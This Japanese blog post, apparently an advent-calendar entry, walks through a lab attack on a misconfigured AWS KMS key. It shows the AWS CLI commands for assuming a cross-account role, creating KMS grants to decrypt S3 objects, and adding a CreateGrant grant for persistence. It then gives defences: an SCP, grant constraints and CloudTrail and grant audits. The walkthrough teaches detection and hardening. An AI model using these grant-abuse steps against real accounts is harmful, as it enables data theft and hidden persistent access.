はじめに
本記事ではAWS KMSの設定ミスによって発生しうる攻撃、そしてその対策を記載します。
この記事は、Japan AWS Jr. Champions Advent Calendar 2025 5日目の記事です。
たくさんの Japan AWS Jr. Champions 2025 メンバーが記事を投稿していきますので、ぜひ他の日や他のシリーズで投稿された記事もチェックいただけますと幸いです!
目次
いきなりまとめ
KMSキーの設定を怠ると外部からキーの不正利用をされて機密データの奪取や権限昇格、権限の永続化をされる恐れがあるので気を付けよう。
コード紹介
今回テーマとして取りあげるアーキテクチャはCDKで定義しています。Githubへのリンクを置いておくので気軽に検証にお使いください。S3バケットを作成し、オブジェクトをKMSキーで暗号化するアーキテクチャを想定しています。
アーキテクチャ紹介
今回の構成は以下の通りです。
攻撃者側のCloudShellからKMSキーを不正に利用し、攻撃を行います。
KMS キーを不正利用する
ではさっそくキーの不正利用をしてみましょう。今回はグラントを悪用して連鎖的な攻撃を行います。
デプロイ
まずは防御側アカウントでリソースのデプロイを行います。
簡略化のためにIAMロールを攻撃者に渡すようにしているので、攻撃者アカウントのアカウントIDをパラメータとして渡します。実際のケースではprincipal:"*"でアカウントの制限をしていなかったり、内部の設定ミスが考えられます。
$ cdk deploy --parameters AllowedAccountId=<攻撃者アカウントID>
今回はIAMロール、KMSキーID、S3バケット名が割れている(あるいはある程度推測できる)ことを前提とします。攻撃者が利用する情報のため、CfnOutputで出力するようにしています。攻撃者アカウントの環境変数に追加しておきます。KEY_IDはクロスアカウントの場合はARNが必要なので注意。
$ export ROLE_ARN="arn:aws:iam::XXXXXXXXXXXX:role/KmsGrantAttackerRole"
$ export BUCKET="publickmsstack-publickmsbucketeXXXXXXX-XXXXXXXXXXXX"
$ export KEY_ID="arn:aws:kms:ap-northeast-1:XXXXXXXXXXXX:key/XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX"
攻撃者用ロールを取得
では攻撃者アカウントで行動します。まずはCloudShellでAssume Roleします。コマンドはCfnOutputしています。
$ aws sts assume-role --role-arn $ROLE_ARN --role-session-name attacker
{
"Credentials": {
"AccessKeyId": "XXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "XXXXXXXXXXXXXXXXXXXX",
"SessionToken": "XXXXXXXXXXXXXXXXXXXX",
"Expiration": "2025-12-03T06:47:52+00:00"
},
"AssumedRoleUser": {
"AssumedRoleId": "XXXXXXXXXXXXXXXXXXXX:attacker",
"Arn": "arn:aws:sts::XXXXXXXXXXXX:assumed-role/KmsGrantAttackerRole/attacker"
}
}
認証情報を環境変数に格納します。
$ CREDS=$(aws sts assume-role --role-arn $ROLE_ARN --role-session-name attacker)
$ export AWS_ACCESS_KEY_ID=$(echo $CREDS | jq -r '.Credentials.AccessKeyId')
$ export AWS_SECRET_ACCESS_KEY=$(echo $CREDS | jq -r '.Credentials.SecretAccessKey')
$ export AWS_SESSION_TOKEN=$(echo $CREDS | jq -r '.Credentials.SessionToken')
しかし、現状ではまだS3バケットに保存されているオブジェクトの復号化権限はありません。一応確認しておきましょう。
$ aws s3 cp s3://$BUCKET/loveletter.txt - 2>&1
download failed: s3://publickmsstack-publickmsbucketeXXXXXXX-XXXXXXXXXXXX/loveletter.txt to - An error occurred (AccessDenied) when calling the GetObject operation: User: arn:aws:sts::XXXXXXXXXXXX:assumed-role/AWSReservedSSO_AWSAdministratorAccess_XXXXXXXXXXXXXXXX/XXXXXXXXXX@gmail.com is not authorized to perform: kms:Decrypt on the resource associated with this ciphertext because the resource does not exist in this Region, no resource-based policies allow access, or a resource-based policy explicitly denies access
グラントを作成して権限昇格
そもそもグラントとは何でしょうか。グラントはKMSキーを一時的に他のサービスに貸し出す仕組みです。 基本的にキーの利用はIAMポリシーやキーポリシーで制御しますが、グラントによって許可を得たサービスはKMSキーを利用することができます。今回の例では、攻撃者がAssume-RoleしたIAMロールにキーのグラントを与えることで、キーへの不正利用を可能にします。
グラントのユースケースとしては、一時的かつ動的な権限管理をしたいときに用いられます。CreateGrant権限さえ与えていれば気軽にアクセス権限を付与することができ、削除も容易なため短時間のアクセスに効果的です。また、AWSサービスは内部的にグラントを利用しており、暗号化されたボリュームやデータを他のアカウントに共有するときに用いられます。
そんな便利なグラントですが、管理を怠ると意図しないアクセス権限や裏口を作られてしまい、情報漏洩に繋がります。今回はこのグラントを悪用した攻撃をシミュレーションします。
現状攻撃者にはKMSキーで暗号化されたS3バケットへのアクセス権限がありませんが、グラントの権限ならあります。まずは現状のグラントを確認しましょう。
$ aws kms list-grants --key-id $KEY_ID
{
"Grants": []
}
ではグラントを作成して、自身のIAMロール付与します。
$ aws kms create-grant \
> --key-id $KEY_ID \
> --grantee-principal $ROLE_ARN \
> --operations Decrypt GenerateDataKey \
> --query GrantId --output text
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
グラントの作成ができました。以降で実際に攻撃を仕掛けます。
S3オブジェクトの奪取
いよいよ攻撃をしましょう。まずはS3バケットの情報奪取です。
$ aws s3 cp s3://$BUCKET/loveletter.txt - 2>&1
ilovekiro
Kiroを好きなことがバレてしまいました。さきほどグラントを付与したお陰でKMSキーの復号ができるようになり、KMSキーで暗号化されているS3バケットのオブジェクトを取得することができました。
権限の永続化
攻撃者は権限昇格をした後、その権限を維持しようとします。永続的な裏口を作成しておくことで悪用の期間を広めるためです。ここでは、攻撃者のIAMロールにCreateGrantを付与することで権限の永続化を実現します。ちなみにCreateGrantは単体ではグラントの作成ができないので、Decyptも付与しています。
$ aws kms create-grant \
> --key-id $KEY_ID \
> --grantee-principal $ROLE_ARN \
> --operations Decrypt CreateGrant \
> --query GrantId --output text
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
しかもこれは自身のIAMロールだけではなく、他のプリンシパルにグラントを付与することができます。攻撃者のIAMロールに気が付いて削除をしたとしても、既に裏口を作成されている可能性があるということです。
今回の設定ミスと検知
さて、ここからは今回のアーキテクチャの設定ミスと検知について考えます。
設定ミス
今回の攻撃は、悪意のある攻撃者にグラント権限を付与していたため成立してしまいました。 S3のバケットポリシーやIAMで制御しているのにもかかわらず、キーポリシーでグラントの設定を怠るとこのような攻撃の恐れがあります。
グラントの権限を付与するプリンシパルをワイルドカードにしては絶対にいけません。今回の攻撃が成立してしまいます。被害を生まないために、グラントの定期的な監査や棚卸は実施をするようにしましょう。また、SCPで特定アカウント以外からのキーのグラント作成を禁止したり、グラント制約を設けることも効果的です。
SCPで特定OU以外のグラントを拒否する。
{
"Effect": "Deny",
"Action": [
"kms:CreateGrant",
"kms:ScheduleKeyDeletion",
"kms:DisableKey"
],
"Resource": "*",
"Condition": {
"StringNotEquals": {
"aws:PrincipalOrgID": "o-xxxxxxxxxx"
}
}
}
グラント制約を設けて、Environment=Productionのデータのみ復号化可能にする。
aws kms create-grant --key-id $KEY_ID \
--grantee-principal $PRINCIPAL \
--operations Decrypt \
--constraints EncryptionContextSubset={Environment=Production}
検知
グラントの操作を検知するのは非常に難しいです。理由としては、グラント関連の操作はAWSサービスが正常の動作として常に裏で実行しているため、埋もれやすいからです。また、今回のようにクロスアカウントでの攻撃になると双方のCloudTrailをチェックする必要があり、検出が困難になります。
例えば以下のように、特に被害の大きくなる恐れがあるCreateGrantを監視するコマンドを定期的に実行します。
aws cloudtrail lookup-events \
--lookup-attributes AttributeKey=EventName,AttributeValue=CreateGrant \
--max-results 10 \
--query 'Events[].{Time:EventTime,User:Username,Account:"$(echo {} | jq -r .CloudTrailEvent | jq -r .userIdentity.accountId)"}'
また、重要なキーについてはCreateGrant権限が付与されていないか棚卸を実施することも検討しましょう。
$ aws kms list-grants --key-id $KEY_ID --query "Grants[?contains(Operations, 'CreateGrant')].{GrantId:GrantId,Grantee:GranteePrincipal,Operations:Operations,Created:CreationDate}"
[
{
"GrantId": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
"Grantee": "arn:aws:iam::XXXXXXXXXXXX:role/KmsGrantAttackerRole",
"Operations": [
"Decrypt",
"CreateGrant"
],
"Created": "2025-12-04T12:08:45+00:00"
}
]
最後に
ここまでKMSグラントを悪用した攻撃とその解説を行いました。アプリケーションの重要なデータを守るために、キーの管理は組織ポリシーとして遵守すべきです。
この記事がどなたかの役に立てれば幸いです。

